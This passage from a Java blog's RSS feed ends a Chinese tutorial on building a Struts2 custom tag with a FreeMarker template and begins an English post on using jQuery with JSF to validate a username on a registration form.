#0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">limitstudy.corestruts2.tag.MMTag</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag-class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body-content</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">JSP</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body-content</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">attribute</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">message</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">required</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">true</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">required</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">attribute</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">taglib</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">在源代码目录中建立template/simple目录（这个目录名和你的theme有关），然后在里面建一个 mm.ftl文件：</span><span style="font-family: MS Shell Dlg;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">a&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">href</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://www.yinsha.com"&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">${parameters.message?html}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">a</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">建一个action测试一下，视图文件：</span><span style="font-family: MS Shell Dlg;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">&lt;%</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #f5f5f5;">@&nbsp;page&nbsp;contentType="text/html;charset=UTF-8"&nbsp;language="java"&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">%&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">&lt;%</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #f5f5f5;">@&nbsp;taglib&nbsp;prefix="s"&nbsp;uri="/struts-tags"&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">%&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">&lt;%</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #f5f5f5;">@&nbsp;taglib&nbsp;prefix="cur"&nbsp;uri="/cur"&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000; background: none repeat scroll 0% 0% #ffff00;">%&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">html</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">head</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">title</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">s:property&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">value</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="message"</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">/&gt;&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">title</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">head</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">cur:mm&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">message</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="haoahahhahaha"</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">/&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">body</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">html</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span></p> <p><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">完。</span><span style="font-family: MS Shell Dlg;"><br /><br /></span><span style="font-family: MS Shell Dlg;">PS： 写得有些粗鄙，所以，如有问题的，可以留言。</span></p> <p>&nbsp;</p> <p>&nbsp;</p> <p>&nbsp;</p> <p><a href="http://devilkirin.javaeye.com/blog/427395" target="_blank"><span style="font-size: 10.5pt; font-family: MS Shell Dlg;">http://devilkirin.javaeye.com/blog/427395</span></a></p> <span style="font-family: MS Shell Dlg;">http://xiaojianhx.javaeye.com/blog/482888</span><span style="font-family: MS Shell Dlg;"><br /></span></div><img src ="http://www.blogjava.net/ywj-316/aggbug/351362.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2011-05-30 21:43 <a href="http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Useing Jquery With JSF</title><link>http://www.blogjava.net/ywj-316/archive/2011/05/30/351361.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 May 2011 13:38:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2011/05/30/351361.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/351361.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2011/05/30/351361.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/351361.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/351361.html</trackback:ping><description><![CDATA[<div><div><h2>Page</h2></div><br />The following is register.jsp, which takes required information from user regarding registration. For this example, we focus only on validation of username and not the actual registration process.
<p> The most important thing is to know how to access JSF component from JQuery. The id given to inputText is consisting of <strong>formid:componentid</strong>. So in this example the id given to textbox is&nbsp; <strong>registerform:username</strong>. But the presence of : (colon) causes problem to JQuery. So, we need to escape : (colon) using two <strong> \\</strong> characters before colon - <strong>registerform\\:username</strong>. </p>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #008000;">//</span><span style="color: #008000;">register.jsp</span><span style="color: #008000;"><br />
</span><span style="color: #000000;">&lt;%</span><span style="color: #000000;">@page&nbsp;contentType</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">text/html</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">%&gt;</span><span style="color: #000000;">de</span><span style="color: #000000;">"</span><span style="color: #000000;">&gt;<br />
<br />
&lt;%@page&nbsp;contentType=</span><span style="color: #000000;">"</span><span style="color: #000000;">text</span><span style="color: #000000;">/</span><span style="color: #000000;">html</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;%&gt;<br />
&lt;!DOCTYPE&nbsp;HTML&nbsp;PUBLIC&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">-</span><span style="color: #008000;">//</span><span style="color: #008000;">W3C//DTD&nbsp;HTML&nbsp;4.01&nbsp;Transitional//EN"</span><span style="color: #008000;"><br />
</span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">http://www.w3.org/TR/html4/loose.dtd</span><span style="color: #000000;">"</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">html</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">head</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">script&nbsp;language</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">javascript</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;src</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">jquery-1.4.2.js</span><span style="color: #000000;">"</span><span style="color: #000000;">&gt;&lt;/</span><span style="color: #000000;">script</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">script&nbsp;language</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">javascript</span><span style="color: #000000;">"</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">function</span><span style="color: #000000;">&nbsp;checkUsername(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$.get(&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">checkusername.jsp</span><span style="color: #000000;">"</span><span style="color: #000000;">,{username&nbsp;:&nbsp;$(</span><span style="color: #000000;">"</span><span style="color: #000000;">#registerform\\:username</span><span style="color: #000000;">"</span><span style="color: #000000;">).val()},updateUsername);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">function</span><span style="color: #000000;">&nbsp;updateUsername(response)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(response)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$(</span><span style="color: #000000;">"</span><span style="color: #000000;">#usernameresult</span><span style="color: #000000;">"</span><span style="color: #000000;">).text(response);&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;update&nbsp;SPAN&nbsp;item&nbsp;with&nbsp;result</span><span style="color: #008000;"><br />
</span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">script</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">title</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">Registration</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">title</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">head</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">body</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;%</span><span style="color: #000000;">@taglib&nbsp;prefix</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">f</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;uri</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">http://java.sun.com/jsf/core</span><span style="color: #000000;">"</span><span style="color: #000000;">%&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;%</span><span style="color: #000000;">@taglib&nbsp;prefix</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">h</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;uri</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">http://java.sun.com/jsf/html</span><span style="color: #000000;">"</span><span style="color: #000000;">%&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">f:view</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h2</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">Registration&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">h2</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h:form&nbsp;&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">registerform</span><span style="color: #000000;">"</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">table</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">Username&nbsp;:&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;&lt;</span><span style="color: #000000;">h:inputText&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">username</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">#{userBean.username}</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;&nbsp;required</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">true</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;onblur</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">checkUsername()</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h:message&nbsp;</span><span style="color: #0000ff;">for</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">username</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">span&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">usernameresult</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">Password&nbsp;:&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;&lt;</span><span style="color: #000000;">h:inputSecret&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">password</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">#{userBean.password}</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;&nbsp;required</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">true</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h:message&nbsp;</span><span style="color: #0000ff;">for</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">password</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">Re</span><span style="color: #000000;">-</span><span style="color: #000000;">enter&nbsp;Password&nbsp;:&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
